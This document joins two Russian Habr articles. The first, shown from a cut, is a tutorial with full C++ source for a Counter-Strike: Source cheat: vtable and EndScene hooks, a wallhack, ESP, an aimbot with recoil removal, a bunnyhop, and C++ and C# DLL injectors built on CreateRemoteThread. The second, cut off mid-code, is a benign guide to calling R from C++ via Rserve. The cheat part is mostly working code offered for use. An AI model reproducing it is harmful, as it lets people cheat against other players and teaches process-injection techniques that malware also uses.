А вот и самая грязная функция, она то и подменяет вызовы CSS:
```
void SetupVariables()
{
HMODULE hModuleClient = NULL;
HMODULE hModuleEngine = NULL;
HMODULE hModuleVGUIFactory = NULL;
HMODULE hMaterialSysFactory = NULL;
while(!hModuleClient)
{
hModuleClient = GetModuleHandle("client.dll");
hModuleEngine = GetModuleHandle("engine.dll");
hModuleVGUIFactory = GetModuleHandle("vguimatsurface.dll");
hMaterialSysFactory = GetModuleHandle("materialsystem.dll");
Sleep(100);
}
VoidCSS.ClientFactory = (CreateInterfaceFn)GetProcAddress(hModuleClient, "CreateInterface");
VoidCSS.EngineFactory = (CreateInterfaceFn)GetProcAddress(hModuleEngine, "CreateInterface");
VoidCSS.VGUIFactory = (CreateInterfaceFn)GetProcAddress(hModuleVGUIFactory, "CreateInterface");
VoidCSS.MaterialSys = (CreateInterfaceFn)GetProcAddress(hMaterialSysFactory, "CreateInterface");
VoidCSS.g_pdwEngine = (DWORD*) VoidCSS.EngineFactory( VENGINE_CLIENT_INTERFACE_VERSION , NULL );
VoidCSS.g_pdwClient = (DWORD*) VoidCSS.ClientFactory( CLIENT_DLL_INTERFACE_VERSION , NULL );
VoidCSS.g_pdwModelRender = (DWORD*) VoidCSS.EngineFactory( VENGINE_HUDMODEL_INTERFACE_VERSION, NULL );
VoidCSS.g_pEntList = (IClientEntityList*) VoidCSS.ClientFactory( VCLIENTENTITYLIST_INTERFACE_VERSION , NULL );
VoidCSS.g_pEngClient = (IVEngineClient*) VoidCSS.EngineFactory("VEngineClient012", NULL);
VoidCSS.g_pSurface = (vgui::ISurface *) VoidCSS.VGUIFactory ( "VGUI_Surface028", NULL );
VoidCSS.g_pMatSystemSurface = ( IMatSystemSurface* )VoidCSS.g_pSurface->QueryInterface( "MatSystemSurface005" );
VoidCSS.g_pDraw = (IMatSystemSurface*) VoidCSS.g_pSurface->QueryInterface(MAT_SYSTEM_SURFACE_INTERFACE_VERSION);
VoidCSS.g_pEffects = (IVEfx*) VoidCSS.EngineFactory( VENGINE_EFFECTS_INTERFACE_VERSION, NULL );
VoidCSS.g_pCvar = (ICvar*) VoidCSS.EngineFactory( VENGINE_CVAR_INTERFACE_VERSION, NULL );
VoidCSS.g_pEnginetrace = (IEngineTrace*) VoidCSS.EngineFactory( INTERFACEVERSION_ENGINETRACE_CLIENT, NULL );
VoidCSS.g_pDebugoverlay = (IVDebugOverlay*) VoidCSS.EngineFactory( VDEBUG_OVERLAY_INTERFACE_VERSION, NULL );
VoidCSS.g_pEngineCache = (IVEngineCache*) VoidCSS.EngineFactory( VENGINE_CACHE_INTERFACE_VERSION, NULL );
VoidCSS.g_pModelinfo = (IVModelInfoClient*) VoidCSS.EngineFactory( VMODELINFO_CLIENT_INTERFACE_VERSION, NULL );
VoidCSS.g_pEnginevgui = (IEngineVGui*) VoidCSS.EngineFactory( VENGINE_VGUI_VERSION, NULL );
VoidCSS.g_pModelRender = (IVModelRender*) VoidCSS.EngineFactory( VENGINE_HUDMODEL_INTERFACE_VERSION, NULL );
VoidCSS.g_pRender = (IVRenderView*) VoidCSS.EngineFactory( VENGINE_RENDERVIEW_INTERFACE_VERSION, NULL);
VoidCSS.g_pMaterialSystem = (IMaterialSystem *) VoidCSS.MaterialSys( MATERIAL_SYSTEM_INTERFACE_VERSION, NULL );
VoidCSS.g_pBaseCDll = (IBaseClientDLL*) VoidCSS.ClientFactory(CLIENT_DLL_INTERFACE_VERSION, NULL);
VoidCSS.g_pMRender = (IVModelRender*) VoidCSS.EngineFactory(VENGINE_HUDMODEL_INTERFACE_VERSION, NULL);
VoidCSS.g_pdwBaseCDll = (PDWORD*)VoidCSS.g_pBaseCDll;
VoidCSS.g_pdwMRender = (PDWORD*)VoidCSS.g_pMRender;
DWORD dwOld;
memcpy( (void*) &VoidCSS.g_oldClient,(void*)*VoidCSS.g_pdwBaseCDll , sizeof(CClient) );
VoidCSS.gClientFuncs2 = (CClient*)*VoidCSS.g_pdwBaseCDll;
VirtualProtect( (LPVOID)&((CClient*)*VoidCSS.g_pdwBaseCDll)->Init, 4, PAGE_EXECUTE_READWRITE, &dwOld );
VoidCSS.gClientFuncs2->Init = &new_Init;
VirtualProtect( (LPVOID)&((CClient*)*VoidCSS.g_pdwBaseCDll)->CreateMove, 4, PAGE_EXECUTE_READWRITE, &dwOld );
VoidCSS.gClientFuncs2->CreateMove = &new_CreateMove;
VirtualProtect( (LPVOID)&((CClient*)*VoidCSS.g_pdwBaseCDll)->HudUpdate, 4, PAGE_EXECUTE_READWRITE, &dwOld );
VoidCSS.gClientFuncs2->HudUpdate = &new_HudUpdate;
if ( VoidCSS.g_pInput == NULL )
{
PDWORD pdwAddress = ( PDWORD ) ((( DWORD ) VoidCSS.g_oldClient.CreateMove ) + 0x20 );
PDWORD pdwTable = ( PDWORD ) *pdwAddress;
VoidCSS.g_pInput = ( CInput* ) *pdwTable;
}
VoidCSS.g_pGlobals = ( CGlobalVarsBase* )0x200D01A4;
}
```
Как вы помните мы переопредилили вызов **iEndScene**, которым и воспользуемся для отрисовки menu, esp, wallHack и Anti flash/smoke/fog:
```
HRESULT WINAPI fEndScene ( LPDIRECT3DDEVICE9 nDevice )
{
_asm pushad
try
{
if (VoidCSS.s_espbox)
{
if (VoidCSS.pLine == NULL)
D3DXCreateLine(nDevice, &VoidCSS.pLine);
else
{
VoidCSS.g_pEsp->DrawEsp();
VoidCSS.g_pEsp->DrawMap();
}
}
if (Red == NULL)
{
GenerateTexture(nDevice, &Red, D3DCOLOR_ARGB (255 , 255 , 0 , 0 ));
GenerateTexture(nDevice, &Yellow, D3DCOLOR_ARGB (255 , 255 , 255 , 0 ));
GenerateTexture(nDevice, &Green, D3DCOLOR_ARGB (255 , 0 , 255 , 0 ));
GenerateTexture(nDevice, &Blue, D3DCOLOR_ARGB (255 , 0 , 0 , 255 ));
GenerateTexture(nDevice, &Purple, D3DCOLOR_ARGB (255 , 102 , 0 , 153 ));
GenerateTexture(nDevice, &Pink, D3DCOLOR_ARGB (255 , 255 , 20 , 147 ));
GenerateTexture(nDevice, &Orange, D3DCOLOR_ARGB (255 , 255 , 165 , 0 ));
}
D3DVIEWPORT9 viewP;
nDevice->GetViewport( &viewP );
DWORD ScreenCenterX = viewP.Width / 2;
DWORD ScreenCenterY = viewP.Height / 2;
D3DRECT rec16 = {ScreenCenterX-20, ScreenCenterY, ScreenCenterX+ 20, ScreenCenterY+1};
D3DRECT rec17 = {ScreenCenterX, ScreenCenterY-20, ScreenCenterX+ 1,ScreenCenterY+20};
nDevice->Clear( 1, &rec16, D3DCLEAR_TARGET, D3DXCOLOR(1.0, 1.0, 1.0, 1.0), 0, 0 );//white
nDevice->Clear( 1, &rec17, D3DCLEAR_TARGET, D3DXCOLOR(1.0, 1.0, 1.0, 1.0), 0, 0 );
if(menu_setup == false)
{
g_pCMenu = new CDXMenu( nDevice, 10, 160 );
g_pCMenu->addHackBool( "WallHack", &VoidCSS.s_wallhack );
g_pCMenu->addHackBool( "Aimbot", &VoidCSS.s_aimbot );
g_pCMenu->addHackInt( "AimBotFOV", &VoidCSS.s_aimfov );
g_pCMenu->addHackBool( "AssShot", &VoidCSS.s_assshot );
g_pCMenu->addHackBool( "ESPBox", &VoidCSS.s_espbox );
menu_setup = true;
}
if(GetAsyncKeyState( VK_END ) &1)
{
VoidCSS.s_ShowMenu = !VoidCSS.s_ShowMenu;
}
g_pCMenu->showMenu( VoidCSS.s_ShowMenu );
g_pCMenu->updateMenu();
}
catch(...){}
_asm popad
return cEndScene ( nDevice );
}
```
Для wallHack и Anti то/се нам требуется получит материалы:
```
IMaterial* TTeam1 = VoidCSS.g_pMaterialSystem->FindMaterial("models\\player\\t_arctic\\t_arctic", "Model textures");
IMaterial* TTeam2 = VoidCSS.g_pMaterialSystem->FindMaterial("models\\player\\t_guerilla\\t_guerilla", "Model textures");
IMaterial* TTeam3 = VoidCSS.g_pMaterialSystem->FindMaterial("models\\player\\t_leet\\t_leet", "Model textures");
IMaterial* TTeam4 = VoidCSS.g_pMaterialSystem->FindMaterial("models\\player\\t_phoenix\\t_phoenix", "Model textures");
IMaterial* CTeam1 = VoidCSS.g_pMaterialSystem->FindMaterial("models\\player\\ct_gign\\ct_gign", "Model textures");
IMaterial* CTeam2 = VoidCSS.g_pMaterialSystem->FindMaterial("models\\player\\ct_gsg9\\ct_gsg9", "Model textures");
IMaterial* CTeam3 = VoidCSS.g_pMaterialSystem->FindMaterial("models\\player\\ct_sas\\ct_sas", "Model textures");
IMaterial* CTeam4 = VoidCSS.g_pMaterialSystem->FindMaterial("models\\player\\ct_urban\\ct_urban", "Model textures");
IMaterial* SmokeStack = VoidCSS.g_pMaterialSystem->FindMaterial( "SmokeStack", "ClientEffect textures" );
IMaterial* FlashEffect = VoidCSS.g_pMaterialSystem->FindMaterial( "effects/flashbang", "ClientEffect textures" );
IMaterial* FlashOverlay = VoidCSS.g_pMaterialSystem->FindMaterial( "effects/flashbang_white", "ClientEffect textures" );
IMaterial* SmokeParticle = VoidCSS.g_pMaterialSystem->FindMaterial( "particle/particle_smokegrenade", "ClientEffect textures" );
IMaterial* SmokeParticle1 = VoidCSS.g_pMaterialSystem->FindMaterial( "particle/particle_smokegrenade1", "ClientEffect textures" );
IMaterial* ScreenSpaceFog = VoidCSS.g_pMaterialSystem->FindMaterial( "particle/screenspace_fog", "ClientEffect textures" );
```
И говорим рисуем/игнорируем их или нет:
```
if(VoidCSS.s_wallhack)
{
TTeam1->SetMaterialVarFlag( MATERIAL_VAR_IGNOREZ, true );
TTeam2->SetMaterialVarFlag( MATERIAL_VAR_IGNOREZ, true );
CTeam1->SetMaterialVarFlag( MATERIAL_VAR_IGNOREZ, true );
CTeam2->SetMaterialVarFlag( MATERIAL_VAR_IGNOREZ, true );
TTeam3->SetMaterialVarFlag( MATERIAL_VAR_IGNOREZ, true );
TTeam4->SetMaterialVarFlag( MATERIAL_VAR_IGNOREZ, true );
CTeam3->SetMaterialVarFlag( MATERIAL_VAR_IGNOREZ, true );
CTeam4->SetMaterialVarFlag( MATERIAL_VAR_IGNOREZ, true );
FlashEffect->SetMaterialVarFlag( MATERIAL_VAR_NO_DRAW, true );
FlashOverlay->SetMaterialVarFlag( MATERIAL_VAR_NO_DRAW, true );
SmokeStack->SetMaterialVarFlag( MATERIAL_VAR_NO_DRAW, true );
SmokeParticle->SetMaterialVarFlag( MATERIAL_VAR_NO_DRAW, true );
SmokeParticle1->SetMaterialVarFlag( MATERIAL_VAR_NO_DRAW, true );
ScreenSpaceFog->SetMaterialVarFlag( MATERIAL_VAR_NO_DRAW, true );
}
else
{
TTeam1->SetMaterialVarFlag( MATERIAL_VAR_IGNOREZ, false );
TTeam2->SetMaterialVarFlag( MATERIAL_VAR_IGNOREZ, false );
CTeam1->SetMaterialVarFlag( MATERIAL_VAR_IGNOREZ, false );
CTeam2->SetMaterialVarFlag( MATERIAL_VAR_IGNOREZ, false );
TTeam3->SetMaterialVarFlag( MATERIAL_VAR_IGNOREZ, false );
TTeam4->SetMaterialVarFlag( MATERIAL_VAR_IGNOREZ, false );
CTeam3->SetMaterialVarFlag( MATERIAL_VAR_IGNOREZ, false );
CTeam4->SetMaterialVarFlag( MATERIAL_VAR_IGNOREZ, false );
FlashEffect->SetMaterialVarFlag( MATERIAL_VAR_NO_DRAW, false );
FlashOverlay->SetMaterialVarFlag( MATERIAL_VAR_NO_DRAW, false );
SmokeStack->SetMaterialVarFlag( MATERIAL_VAR_NO_DRAW, false );
SmokeParticle->SetMaterialVarFlag( MATERIAL_VAR_NO_DRAW, false );
SmokeParticle1->SetMaterialVarFlag( MATERIAL_VAR_NO_DRAW, false );
ScreenSpaceFog->SetMaterialVarFlag( MATERIAL_VAR_NO_DRAW, false );
}
```
Переопределенной функцией **new\_CreateMove** воспользуемся для aimBot и, совсем забыл, bunnyHop:
```
void __stdcall new_CreateMove ( int sequence_number, float input_sample_frametime, bool active )
{
VoidCSS.g_oldClient.CreateMove( sequence_number , input_sample_frametime , active );
ModelHack();
if ( VoidCSS.g_pInput )
{
CUserCmd* cmd = VoidCSS.g_pInput->GetUserCmd( sequence_number );
if ( VoidCSS.g_pEngClient->IsInGame() )
{
//Aimbot Norecoil Nospread
if( cmd->buttons & IN_ATTACK && VoidCSS.s_aimbot)
VoidCSS.g_pAimbot->AimAtTarget( cmd );
//BunnyHop
if ( cmd->buttons & IN_JUMP )
{
int *iMyFlAgs = (int*) ( (DWORD)VoidCSS.g_pMyPlayer->BaseEnt() + (DWORD)0x2B4 );
int iFlags = *iMyFlAgs;
if( !(iFlags &FL_ONGROUND) )
cmd->buttons &= ~IN_JUMP;
}
}
}
}
```
В классе аимбота отслеживаем жертву (удостоверившись, что это игрок противоположной команды), перебирая кости находи нужную часть тела (в нашем случае голова) и перемещаем центр экрана в эту точку, делаем выстрел, попутно гася отдачу (antiRecoil). Да забыл сказать, что если включен assShot то возвращаем нашего персонажа в положение до стрельбы (так вот он работает).
```
void cCAimbot::AimAtTarget( CUserCmd* c )
{
if( VoidCSS.g_pEngClient->IsInGame() == false
|| VoidCSS.g_pEngClient->IsHLTV() == true
|| VoidCSS.g_pMyPlayer->BaseEnt() == NULL )
return;
DropTarget();
//----------------------------------//
player_info_t pinfo;
QAngle* pPunchAngle = ( QAngle* )( (DWORD)VoidCSS.g_pMyPlayer->BaseEnt() + 0xBB0 );
//----------------------------------//
//----------------------------------//
for( int index = 1; index <= VoidCSS.g_pEntList->NumberOfEntities( false ); ++index )
{
if ( index == VoidCSS.g_pEngClient->GetLocalPlayer() )
continue;
IClientEntity* ClientEntity = VoidCSS.g_pEntList->GetClientEntity( index );
if ( ClientEntity == NULL
|| ClientEntity->IsDormant() )
continue;
CBaseEntity* pBaseEntity = ClientEntity->GetBaseEntity();
//Get Life State
int *lifestate = (int*) ( ( DWORD )pBaseEntity + ( DWORD )0x87 );
float fov = (float)VoidCSS.s_aimfov;
if (VoidCSS.s_assshot)
fov = 360.0f;
if( pBaseEntity == NULL/* nothing */
|| pBaseEntity->IsDormant()/* not active */
|| !(*lifestate == LIFE_ALIVE)/* not alive */
|| VoidCSS.g_pEngClient->GetPlayerInfo( index, &pinfo ) == false/* not a player!*/
|| pBaseEntity->GetTeamNumber() == VoidCSS.g_pMyPlayer->BaseEnt()->GetTeamNumber()/*enemy*/
|| !GetBonePosition( 14/*Head*/, vPlayer, c->viewangles, index )
|| GetFov( VoidCSS.g_pMyPlayer->BaseEnt()->GetAbsAngles(), VoidCSS.g_pMyPlayer->BaseEnt()->EyePosition(), vPlayer ) > fov /*4.0f*/
|| !GetVisible( VoidCSS.g_pMyPlayer->BaseEnt()->EyePosition(), vPlayer, pBaseEntity )/* not visible */
|| flBestDist < GetFov( VoidCSS.g_pMyPlayer->BaseEnt()->GetAbsAngles(), VoidCSS.g_pMyPlayer->BaseEnt()->EyePosition(), vPlayer ))
continue;
flBestDist = GetFov( VoidCSS.g_pMyPlayer->BaseEnt()->GetAbsAngles(), VoidCSS.g_pMyPlayer->BaseEnt()->EyePosition(), vPlayer );
m_nTarget = index;
// Calculate the delta origin
Vector vDeltaOrigin = vPlayer - vPlayer;
// Calculate the Latency
float fLatency = VoidCSS.g_pEngClient->GetNetChannelInfo()->GetLatency( FLOW_OUTGOING );
// Compensate the latency
vDeltaOrigin[0] *= fLatency;
vDeltaOrigin[1] *= fLatency;
vDeltaOrigin[2] *= fLatency;
//Apply the prediction
PredictedTargetPosition = vPlayer + vDeltaOrigin;
}
if( m_nTarget == -1 )
return;
CalcAngle( VoidCSS.g_pMyPlayer->BaseEnt()->EyePosition(), PredictedTargetPosition, c->viewangles );
//recoil
c->viewangles.x -= ( pPunchAngle->x *2.0f );
c->viewangles.y -= ( pPunchAngle->y *2.0f );
//aimbot
VoidCSS.g_pEngClient->SetViewAngles( c->viewangles );//aim
//nospread
float flNew[3],flOld[3];
flOld[0] = c->viewangles[0];
flOld[1] = c->viewangles[1];
flOld[2] = c->viewangles[2];
//VoidCSS.g_pNoSpread->GetSpreadFix( c->random_seed, flOld, flNew );
c->viewangles[0] += flNew[0];
c->viewangles[1] += flNew[1];
c->viewangles[2] += flNew[2];
if (VoidCSS.s_assshot)
VoidCSS.g_pEngClient->SetViewAngles( m_angle );
DropTarget();
}
```
Вот в принципе самые главные части кода. Конечно есть небольшой пучек вспомогательных функций, а также классы для отрисовки меню, чтения файла настроек (у меня это setings.ini) и рисования esp, но в них вроде и так все понятно. На SpeedHack энтузиазма у меня уже не хватило, но подскажу — нужно баловаться с таймингами (правда чревато подвисаниями при плохом пинге).
И так перейдем к инъекции нашей сборки в процесс игры, 2 варианта c++ по хендлу окна или c# по процессу
#### с++
```
#include "stdafx.h"
#include
#include
#define MAXINJECTSIZE 4096
typedef HINSTANCE (\*LoadLibrary\_Ptr)(LPCTSTR);
typedef FARPROC (\*GetProcAddress\_Ptr)(HMODULE, LPCSTR lpProcName);
typedef struct \_injectionRoutineParam
{
LoadLibrary\_Ptr \_call\_LoadLibrary;
GetProcAddress\_Ptr \_call\_GetProcAddress;
HINSTANCE \_ret;
FARPROC \_proc;
char \_dll\_name[1024];
char \_proc\_name[256];
}InjectionRoutineParam;
DWORD \_\_stdcall injectionThreadRoutine(InjectionRoutineParam\* param)
{
HINSTANCE hinstance = param->\_call\_LoadLibrary((LPCTSTR)param->\_dll\_name);
param->\_ret = hinstance;
FARPROC proc= param->\_call\_GetProcAddress(hinstance, param->\_proc\_name);
param->\_proc = proc;
return 0;
}
void inject(HANDLE process, char \*dllName)
{
char \* procName ="HelloWorld";
InjectionRoutineParam param;
DWORD threadId;
void \*p = VirtualAllocEx(process, 0, MAXINJECTSIZE, MEM\_COMMIT, PAGE\_EXECUTE\_READWRITE );
void \*data = VirtualAllocEx(process, 0, sizeof(InjectionRoutineParam), MEM\_COMMIT, PAGE\_EXECUTE\_READWRITE );
HINSTANCE kernel32=LoadLibrary(\_T("KERNEL32.DLL"));
param.\_call\_LoadLibrary = (LoadLibrary\_Ptr)GetProcAddress( kernel32, "LoadLibraryA" );
param.\_call\_GetProcAddress = (GetProcAddress\_Ptr)GetProcAddress( kernel32, "GetProcAddress" );
memcpy(param.\_dll\_name,dllName,strlen(dllName));
memcpy(param.\_proc\_name, procName, strlen(procName));
WriteProcessMemory(process, p, (void\*)&injectionThreadRoutine, MAXINJECTSIZE, 0 );
WriteProcessMemory(process, data, (void\*)¶m, sizeof(InjectionRoutineParam), 0 );
HANDLE remoteThread = CreateRemoteThread(process, NULL,0,(DWORD (\_\_stdcall \*)(LPVOID))p, data, 0, &threadId);
WaitForSingleObject(remoteThread, INFINITE);
DWORD read;
ReadProcessMemory(process, data, ¶m, sizeof(InjectionRoutineParam), &read);
VirtualFreeEx(process, p, 0, MEM\_RELEASE );
VirtualFreeEx(process, data, 0, MEM\_RELEASE );
FreeLibrary( kernel32 );
}
void die(char \*msg)
{
fprintf(stderr, msg);
exit(-1);
}
#include
#include
#define MAXWAIT 10000
bool insertDll(DWORD procID, std::string dll)
{
//Находим адрес LoadLibraryA, к счастью для нас, она загружается в один адрес для каждого процесса
HMODULE hLocKernel32 = GetModuleHandle(\_T("Kernel32"));
FARPROC hLocLoadLibrary = GetProcAddress(hLocKernel32, "LoadLibraryA");
//Получаем привилегии на системный процесс
HANDLE hToken;
TOKEN\_PRIVILEGES tkp;
if(OpenProcessToken(GetCurrentProcess(), TOKEN\_ADJUST\_PRIVILEGES | TOKEN\_QUERY, &hToken))
{
LookupPrivilegeValue(NULL, SE\_DEBUG\_NAME, &tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE\_PRIVILEGE\_ENABLED;
AdjustTokenPrivileges(hToken, 0, &tkp, sizeof(tkp), NULL, NULL);
}
//открываем процесс на полный доступ
HANDLE hProc = OpenProcess(PROCESS\_ALL\_ACCESS, FALSE, procID);
//Выделите память для хранения пути к Dll файла в памяти процесса
dll += '\0';
LPVOID hRemoteMem = VirtualAllocEx(hProc, NULL, dll.size(), MEM\_COMMIT, PAGE\_READWRITE);
//записываем
DWORD numBytesWritten;
WriteProcessMemory(hProc, hRemoteMem, dll.c\_str(), dll.size(), &numBytesWritten);
//Создаем удаленный поток
HANDLE hRemoteThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD\_START\_ROUTINE)hLocLoadLibrary, hRemoteMem, 0, NULL);
// cout << hRemoteThread << endl;
//Подождем, пока нить закончится
bool res = false;
if (hRemoteThread)
res = (bool)WaitForSingleObject(hRemoteThread, MAXWAIT) != WAIT\_TIMEOUT;
//Подчищаем за собой
VirtualFreeEx(hProc, hRemoteMem, dll.size(), MEM\_RELEASE);
//И отпускаем процесс :)
CloseHandle(hProc);
return res;
}
int \_tmain(int argc, \_TCHAR\* argv[])
{
HWND WindowHandle;
DWORD processId;
WindowHandle = FindWindow(NULL, \_T("Counter-Strike Source"));
if (WindowHandle)
{
GetWindowThreadProcessId(WindowHandle, &processId);
insertDll(processId, "..\\..\\client.dll");
}
system("PAUSE");
return EXIT\_SUCCESS;
}
```
#### с#
```
using System;
using System.Collections.Generic;
using System.Text;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace voidLoader
{
public static class Inject
{
private static class WINAPI
{
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(
UInt32 dwDesiredAccess,
Int32 bInheritHandle,
UInt32 dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern Int32 CloseHandle(
IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetProcAddress(
IntPtr hModule,
string lpProcName);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetModuleHandle(
string lpModuleName);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
IntPtr dwSize,
uint flAllocationType,
uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern Int32 WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] buffer,
uint size,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttribute,
IntPtr dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
IntPtr lpThreadId);
public static class VAE_Enums
{
public enum AllocationType
{
MEM_COMMIT = 0x1000,
MEM_RESERVE = 0x2000,
MEM_RESET = 0x80000,
}
public enum ProtectionConstants
{
PAGE_EXECUTE = 0X10,
PAGE_EXECUTE_READ = 0X20,
PAGE_EXECUTE_READWRITE = 0X40,
PAGE_EXECUTE_WRITECOPY = 0X80,
PAGE_NOACCESS = 0X01
}
}
}
public static bool DoInject(
Process pToBeInjected,
string sDllPath,
out string sError)
{
IntPtr hwnd = IntPtr.Zero;
if (!CRT(pToBeInjected, sDllPath, out sError, out hwnd))
{
if (hwnd != (IntPtr)0)
WINAPI.CloseHandle(hwnd);
return false;
}
int wee = Marshal.GetLastWin32Error();
return true;
}
private static bool CRT(
Process pToBeInjected,
string sDllPath,
out string sError,
out IntPtr hwnd)
{
sError = String.Empty;
IntPtr hndProc = WINAPI.OpenProcess(
(0x2 | 0x8 | 0x10 | 0x20 | 0x400),
1,
(uint)pToBeInjected.Id);
hwnd = hndProc;
if (hndProc == (IntPtr)0)
{
sError = "Unable to attatch to process.\n";
sError += "Error code: " + Marshal.GetLastWin32Error();
return false;
}
IntPtr lpLLAddress = WINAPI.GetProcAddress(
WINAPI.GetModuleHandle("kernel32.dll"),
"LoadLibraryA");
if (lpLLAddress == (IntPtr)0)
{
sError = "Unable to find address of \"LoadLibraryA\".\n";
sError += "Error code: " + Marshal.GetLastWin32Error();
return false;
}
IntPtr lpAddress = WINAPI.VirtualAllocEx(
hndProc,
(IntPtr)null,
(IntPtr)sDllPath.Length,
(uint)WINAPI.VAE_Enums.AllocationType.MEM_COMMIT |
(uint)WINAPI.VAE_Enums.AllocationType.MEM_RESERVE,
(uint)WINAPI.VAE_Enums.ProtectionConstants.PAGE_EXECUTE_READWRITE);
if (lpAddress == (IntPtr)0)
{
if (lpAddress == (IntPtr)0)
{
sError = "Unable to allocate memory to target process.\n";
sError += "Error code: " + Marshal.GetLastWin32Error();
return false;
}
}
byte[] bytes = CalcBytes(sDllPath);
IntPtr ipTmp = IntPtr.Zero;
WINAPI.WriteProcessMemory(
hndProc,
lpAddress,
bytes,
(uint)bytes.Length,
out ipTmp);
if (Marshal.GetLastWin32Error() != 0)
{
sError = "Unable to write memory to process.";
sError += "Error code: " + Marshal.GetLastWin32Error();
return false;
}
IntPtr ipThread = WINAPI.CreateRemoteThread(
hndProc,
(IntPtr)null,
(IntPtr)0,
lpLLAddress,
lpAddress,
0,
(IntPtr)null);
if (ipThread == (IntPtr)0)
{
sError = "Unable to load dll into memory.";
sError += "Error code: " + Marshal.GetLastWin32Error();
return false;
}
return true;
}
private static byte[] CalcBytes(string sToConvert)
{
byte[] bRet = System.Text.Encoding.ASCII.GetBytes(sToConvert);
return bRet;
}
}
}
```
[Ну собственно и сами файлики.](https://github.com/v01d123/VoidCSS) (перезалиты на github) | https://habr.com/ru/post/143178/ | null | ru | null |
# Как воспользоваться возможностями R в C++
*R — язык программирования для статистической обработки данных и работы с графикой, а также свободная программная среда вычислений с открытым исходным кодом в рамках проекта GNU © Wikipedia.*
В R собрано огромное число статистических алгоритмов на все случаи жизни и их можно использовать не только из родной програмной среды: его поддерживают такие известные математические пакеты, как SPSS, Statistica, SAS, Wolfram Mathematica и некоторые другие. Как же можно интегрировать R в свои приложения?
На хабрахабре уже была [статья](http://habrahabr.ru/post/161983/) про использование R в С++, однако она осветила всего один из способов, который возможно использовать только если ваш код распространяется под GPL-совместимой лицензией. Но и в противном случае есть выход — использование пакета Rserve.
#### Rserve
[Rserve](https://github.com/s-u/Rserve) — это TCP/IP / unix socket сервер, который позволяет использовать возможности [R](http://www.r-project.org) без необходимости линковаться с его библиотеками. Клиенты реализованы под различные популярные языки, такие как C/C++, Java, PHP. Код клиентов распространяется под LGPL.
Установим R и Rserve:
```
# sudo apt-get instal r-base
# sudo R
> install.packages("Rserve");
```
Теперь осталось запустить Rserve:
```
# R CMD Rserve
```
Существует также отладочный режим
```
# R CMD Rserve.dbg
```
При запуске без параметров Rserve работает в режиме TCP/IP сервера на дефолтном порту (6311). Чтобы использовать unix sockets следует запускать Rserve с флагом --RS-socket
```
# R CMD Rserve --RS-socket "/home/zoberg/mysocket"
```
Список доступных флагов можно посмотреть, набрав
```
# R CMD Rserve --help
```
#### C++ клиент
C++ клиент состоит из 4 заголовочных файлов: [Rconnection.h](https://raw.github.com/s-u/Rserve/master/src/client/cxx/Rconnection.h) (тут лежат все объявление, которые могут понадобиться в работе), [Rsrv.h](https://raw.github.com/s-u/Rserve/master/src/Rsrv.h), [config.h](https://github.com/s-u/Rserve/blob/master/src/include/Win32/config.h) (нужен только в Windows), [sisocks.h](https://github.com/s-u/Rserve/blob/master/src/include/sisocks.h) (кроссплатформенные сокеты) и одного [Rconnection.cc](https://raw.github.com/s-u/Rserve/master/src/client/cxx/Rconnection.cc). Взять их все можно из официального [репозитория на guthub](https://github.com/s-u/Rserve).
Итак, разберём теперь [демо](https://raw.github.com/s-u/Rserve/master/src/client/cxx/demo1.cc), охватывающее большинство основных операций
```
/// main.cpp
#include
using std::cout;
#define MAIN // коcтыль из sisocks.h
#define SOCK\_ERRORS // verbose socket errors
#include "sisocks.h"
#include "Rconnection.h"
// бесхитростный пример работы с C++ API
int main(int argc, char \*\*argv) {
initsocks(); // нужно только под Win32 - ничего не делает в unix
// создаем объект подключения к Rserve.
// Параметры конструктора по умолчанию - "127.0.0.1", 6311.
// если хотим использовать unix sockets, то следует передавать такие параметры:
// Rconnection \*rc = new Rconnection("/home/zoberg/mysocket", -1);
Rconnection \*rc = new Rconnection();
int i=rc->connect();
if (i) {
char msg[128];
sockerrorchecks(msg, 128, -1);
printf("unable to connect (result=%d, socket:%s).\n", i, msg); return i;
}
double d[6] = { 1.5, 2.4, 5.6, -1.2, 0.6, 1.7 };
// присвоим определенный выше массив переменной "a" в R
Rdouble \*rd = new Rdouble(d, 6);
rc->assign("a", rd);
delete rd;
// создаем матрицу "b" размером 2 x 3 и считаем произведение матриц b \* t(b)
Rdouble \*x = (Rdouble\*) rc->eval("b<-matrix(a,2); b%\*%t(b)");
if (x) { // если всё прошло хорошо, то получаем результат
cout << x << "\n";
// получим размерность получившейся в результате матрицы
Rinteger \*dim = (Rinteger\*) x->attribute("dim");
if (dim)
cout << dim->intAt(0) << " by " << dim->intAt(1) << " matrix\n";
// выведем матрицу результата (без форматирования)
double \*d = x->doubleArray();
int i=0, ct = x->length();
while (i < ct) {
cout << d[i++] << " ";
}
cout << "\n";
// освободим память
delete x;
}
// присваивание массива целых чисел переменной i в R
int ia[6] = { 1, 4, 6, 3, 5 , 2 };
Rinteger \*ri = new Rinteger(ia, 6);
rc->assign("i", ri);
delete ri;
// Ирисы Фишера — это набор данных для задачи классификации,
// на примере которого Рональд Фишер в 1936 году продемонстрировал
// работу разработанного им метода дискриминантного анализа.
// Этот набор данных есть в R, получим его
Rvector \*iris = (Rvector\*) rc->eval("data(iris); iris");
if (!iris) {
cout << "oops! couldn't get iris data\n"; delete rc; return 0;
}
// теперь из этого набора данных выберем ширину чашелистиков (sepal width) -
// дешевая операция без обращения к Rserve, так как мы уже имеем все необходимые данные
Rdouble \*sw = (Rdouble\*) iris->byName("Sepal.Width");
double \*swd = sw->doubleArray();
// and print it ...
{
int i=0, ct=sw->length();
while (i
```
